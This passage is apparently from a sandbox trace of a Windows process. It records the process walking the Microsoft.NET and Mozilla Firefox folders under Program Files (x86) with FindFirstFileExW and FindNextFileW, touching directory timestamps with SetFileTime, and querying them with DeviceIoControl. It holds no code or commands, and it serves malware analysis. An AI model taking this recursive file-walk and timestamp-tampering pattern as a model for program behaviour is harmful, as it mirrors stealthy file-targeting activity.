nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.202] NtClose (Handle=0x16c) returned 0x0 [0089.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.203] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0089.206] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.206] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0089.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.207] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="")) returned 1 [0089.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.208] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="")) returned 1 [0089.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.210] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="")) returned 1 [0089.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.211] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0089.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0089.213] GetLastError () returned 0x12 [0089.213] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.213] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="")) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="")) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="")) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0089.213] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0089.213] GetLastError () returned 0x12 [0089.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.213] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.215] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0089.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.215] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.217] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.218] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.218] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.218] NtClose (Handle=0x178) returned 0x0 [0089.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.219] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.220] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.220] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="")) returned 1 [0089.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c16c8 [0089.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.222] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 1 [0089.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c16e8 [0089.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0089.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.223] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 0 [0089.223] GetLastError () returned 0x12 [0089.224] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0089.224] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.224] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.224] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="")) returned 1 [0089.224] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 1 [0089.224] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 0 [0089.224] GetLastError () returned 0x12 [0089.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0089.224] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.225] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 0 [0089.225] GetLastError () returned 0x12 [0089.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.225] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.226] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="")) returned 1 [0089.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0089.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.226] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.227] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.227] NtClose (Handle=0x180) returned 0x0 [0089.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.228] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.230] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, 